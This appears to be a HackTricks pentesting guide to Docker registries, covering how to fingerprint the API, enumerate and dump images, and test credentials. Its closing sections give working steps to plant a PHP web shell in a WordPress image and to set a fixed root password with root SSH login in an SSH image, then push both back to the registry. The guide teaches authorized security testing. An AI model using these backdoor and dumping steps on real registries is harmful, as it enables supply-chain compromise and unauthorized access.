5000-pentesting-docker-registry.md (14619B)
1 --- 2 title: "5000 - Pentesting Docker Registry" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/5000-pentesting-docker-registry.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/5000-pentesting-docker-registry.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 5000 - Pentesting Docker Registry 14 15 ## Basic Information 16 17 A container **registry** stores and distributes named images and other OCI content. Repositories contain manifests referenced by tags or immutable digests, while the manifests point to configuration and layer blobs. Authorized clients pull and push this content through the registry API.<sup>[[1]](#references)[[3]](#references)</sup> 18 19 **Docker Hub** is Docker's default public registry. Organizations can also run the open-source CNCF Distribution registry or use other hosted/private OCI-compatible services. Docker Trusted Registry is a historical product name; current environments may expose successor or vendor-specific registry products.<sup>[[1]](#references)</sup> 20 21 To download an image from an on-premise registry, the following command is used: 22 23 ```bash 24 docker pull my-registry:9000/foo/bar:2.1 25 ``` 26 27 This command fetches the `foo/bar` image version `2.1` from the on-premise registry at the `my-registry` domain on port `9000`. Conversely, to download the same image from DockerHub, particularly if `2.1` is the latest version, the command simplifies to: 28 29 ```bash 30 docker pull foo/bar 31 ``` 32 33 **Default port:** 5000 34 35 ```text 36 PORT STATE SERVICE VERSION 37 5000/tcp open http Docker Registry (API: 2.0) 38 ``` 39 40 ## Discovering 41 42 Nmap service detection can identify a directly exposed registry, but an HTTP reverse proxy or non-standard path/port may hide the backend. Prefer the version-check endpoint as the protocol fingerprint:<sup>[[3]](#references)</sup> 43 44 - A request to `/v2/` should return `200 OK` when the V2 API is available or `401 Unauthorized` when authentication is required; either response should carry `Docker-Distribution-API-Version: registry/2.0`. The response body is implementation-dependent. 45 - If you access `/v2/_catalog` you may obtain: 46 - `{"repositories":["alpine","ubuntu"]}` 47 - `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` 48 49 ## Enumeration 50 51 ### HTTP/HTTPS 52 53 Registries may be exposed over **HTTP** in a lab or **HTTPS** in production. Test both schemes explicitly; production deployments should use TLS and access control.<sup>[[4]](#references)</sup> 54 55 ```bash 56 curl -i http://10.10.10.10:5000/v2/ 57 curl -ki https://10.10.10.10:5000/v2/ 58 curl -ks https://10.10.10.10:5000/v2/_catalog 59 ``` 60 61 ### Authentication 62 63 A registry may require **authentication** and may authorize access per repository/action:<sup>[[3]](#references)</sup> 64 65 ```bash 66 curl -k https://192.25.197.3:5000/v2/_catalog 67 #If Authentication required 68 {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} 69 #If no authentication required 70 {"repositories":["alpine","ubuntu"]} 71 ``` 72 73 If the Docker Registry requires authentication, you can [test credentials as described here](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#docker-registry). Avoid account lockouts and high request volume.\ 74 **If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this: 75 76 ```bash 77 curl -k -u username:password https://10.10.10.10:5000/v2/_catalog 78 ``` 79 80 ### Enumeration using DockerRegistryGrabber 81 82 [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a Python tool for enumerating or dumping a registry with no authentication, Basic authentication, or a supplied bearer token.<sup>[[2]](#references)</sup> 83 84 ```bash 85 usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url 86 87 ____ ____ ____ 88 | _ \ | _ \ / ___| 89 | | | || |_) || | _ 90 | |_| || _ < | |_| | 91 |____/ |_| \_\ \____| 92 Docker Registry grabber tool v2 93 by @SyzikSecu 94 95 positional arguments: 96 url URL 97 98 options: 99 -h, --help show this help message and exit 100 -p port port to use (default : 5000) 101 102 Authentication: 103 -U USERNAME Username 104 -P PASSWORD Password 105 -A header Authorization bearer token 106 107 Actions: 108 --list 109 --dump_all 110 --dump DOCKERNAME DockerName 111 112 Example commands: 113 python drg.py http://127.0.0.1 --list 114 python drg.py http://127.0.0.1 --dump my-ubuntu 115 python drg.py http://127.0.0.1 --dump_all 116 python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list 117 python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu 118 python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all 119 python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list 120 python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu 121 python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all 122 123 python3 DockerGraber.py http://127.0.0.1 --list 124 125 [+] my-ubuntu 126 [+] my-ubuntu2 127 128 python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu 129 130 [+] blobSum found 5 131 [+] Dumping my-ubuntu 132 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 133 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 134 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 135 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 136 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 137 138 python3 DockerGraber.py http://127.0.0.1 --dump_all 139 140 [+] my-ubuntu 141 [+] my-ubuntu2 142 [+] blobSum found 5 143 [+] Dumping my-ubuntu 144 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 145 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 146 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 147 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 148 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 149 [+] blobSum found 5 150 [+] Dumping my-ubuntu2 151 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 152 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 153 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 154 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 155 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 156 ``` 157 158 ### Enumeration using curl 159 160 After obtaining access to the registry, use the V2 API endpoints below to enumerate it.<sup>[[3]](#references)</sup> 161 162 ```bash 163 #List repositories 164 curl -s http://10.10.10.10:5000/v2/_catalog 165 {"repositories":["alpine","ubuntu"]} 166 167 #Get tags of a repository 168 curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list 169 {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]} 170 171 # Get a manifest (the Accept header below requests the modern OCI/Docker v2 formats) 172 curl -s -H 'Accept: application/vnd.oci.image.manifest.v1+json, application/vnd.docker.distribution.manifest.v2+json' \ 173 http://192.251.36.3:5000/v2/ubuntu/manifests/latest 174 # A legacy schema-1 response can instead look like this: 175 { 176 "schemaVersion": 1, 177 "name": "ubuntu", 178 "tag": "latest", 179 "architecture": "amd64", 180 "fsLayers": [ 181 { 182 "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" 183 }, 184 { 185 "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" 186 }, 187 { 188 "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" 189 } 190 ], 191 "history": [ 192 { 193 "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" 194 }, 195 { 196 "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" 197 }, 198 { 199 "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" 200 } 201 ], 202 "signatures": [ 203 { 204 "header": { 205 "jwk": { 206 "crv": "P-256", 207 "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", 208 "kty": "EC", 209 "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", 210 "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" 211 }, 212 "alg": "ES256" 213 }, 214 "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", 215 "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" 216 } 217 ] 218 } 219 220 #Download one of the previously listed blobs 221 curl -L http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar 222 223 #Inspect the insides of each blob 224 tar -tf blob1.tar # Inspect names first 225 mkdir blob1 && tar -xf blob1.tar -C blob1 226 ``` 227 228 > [!WARNING] 229 > Downloaded layers are untrusted archives. List their entries first, inspect for absolute paths or `..` traversal, and extract each layer into a separate disposable directory. Extracting every layer into one directory can overwrite files from earlier layers and also loses the layer-by-layer history. 230 231 ### Enumeration using docker 232 233 ```bash 234 #Once you know which images the server is saving (/v2/_catalog) you can pull them 235 docker pull 10.10.10.10:5000/ubuntu 236 237 #Check the commands used to create the layers of the image 238 docker history 10.10.10.10:5000/ubuntu 239 #IMAGE CREATED CREATED BY SIZE COMMENT 240 #ed05bef01522 2 years ago ./run.sh 46.8MB 241 #<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B 242 #<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B 243 #<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B 244 #<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB 245 246 #Run and get a shell 247 docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running 248 docker ps #Using a different shell 249 docker exec -it 7d3a81fe42d7 bash # Get a Bash shell (use /bin/sh for minimal images) 250 ``` 251 252 ### Backdooring WordPress image 253 254 If an authorized test confirms that you can push to a repository consumed by a deployment, you can demonstrate image-supply-chain impact by adding a test backdoor. Use a disposable tag whenever possible; overwriting a production tag can disrupt or compromise downstream systems.\ 255 **Create** the **backdoor**: 256 257 ```php 258 <?php echo shell_exec($_GET["cmd"]); ?> 259 ``` 260 261 Create a **Dockerfile**: 262 263 ```dockerfile 264 FROM 10.10.10.10:5000/wordpress 265 COPY shell.php /app/ 266 RUN chmod 0644 /app/shell.php 267 ``` 268 269 **Create** the new image, **check** it's created, and **push** it: 270 271 ```bash 272 docker build -t 10.10.10.10:5000/wordpress . 273 #Create 274 docker images 275 docker push 10.10.10.10:5000/wordpress # Push it 276 ``` 277 278 ### Backdooring SSH server image 279 280 The same write-access test can be demonstrated against an SSH server image. Only perform this against an explicitly authorized, non-production tag.\ 281 **Download** the image and **run** it: 282 283 ```bash 284 docker pull 10.10.10.10:5000/sshd-docker-cli 285 docker run -d 10.10.10.10:5000/sshd-docker-cli 286 ``` 287 288 Extract the `sshd_config` file from the SSH image: 289 290 ```bash 291 docker cp 4c989242c714:/etc/ssh/sshd_config . 292 ``` 293 294 And modify it to set: `PermitRootLogin yes` 295 296 Create a **Dockerfile** like the following one: 297 298 ### Dockerfile 299 ```bash 300 FROM 10.10.10.10:5000/sshd-docker-cli 301 COPY sshd_config /etc/ssh/ 302 RUN echo root:password | chpasswd 303 ``` 304 305 306 **Create** the new image, **check** it's created, and **push** it: 307 308 ```bash 309 docker build -t 10.10.10.10:5000/sshd-docker-cli . 310 #Create 311 docker images 312 docker push 10.10.10.10:5000/sshd-docker-cli # Push it 313 ``` 314 315 ## References 316 317 - [1] [CNCF Distribution - About Registry](https://distribution.github.io/distribution/about/) 318 - [2] [DockerRegistryGrabber - Docker Registry grabber tool](https://github.com/Syzik/DockerRegistryGrabber) 319 - [3] [CNCF Distribution - HTTP API V2 specification](https://distribution.github.io/distribution/spec/api/) 320 - [4] [CNCF Distribution - Deploy a registry server](https://distribution.github.io/distribution/about/deploying/)